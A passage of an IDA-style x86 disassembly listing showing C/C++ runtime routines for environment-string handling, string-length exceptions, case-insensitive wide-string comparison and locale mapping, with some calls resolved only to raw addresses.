		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB980
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB984
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB980, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB988, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB980, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB988, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB988, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB980
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB980, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 25F0000h
		nop
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB980
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DCEC1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEF+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6F0
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_40D6B4
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D08o
					; ___:00427D18o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A0

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D04o
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D14o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:0042808Co
		mov	dword ptr [ecx], offset	off_427D14
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D561+13p
					; sub_40D725+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428088
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D561
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D40o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:00428134o
		mov	dword ptr [ecx], offset	off_427D40
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B1+15p
					; sub_40D50A+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428130
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D40
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D40
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D0Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428170
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428130
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D1Co
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428088
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE41+5Ep
					; ___:00414BE6p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 2860000h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417276+E2p
					; sub_417276+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D60
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D60o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D68
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D6Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D88
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26803A4h
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DBA14, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBA14
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DA8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DBC6C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DBC6C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CB50C
		push	edi
		push	esi
		nop
		call	near ptr 2670000h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DBC6C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DBC6C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 282106Dh
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 282106Dh
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
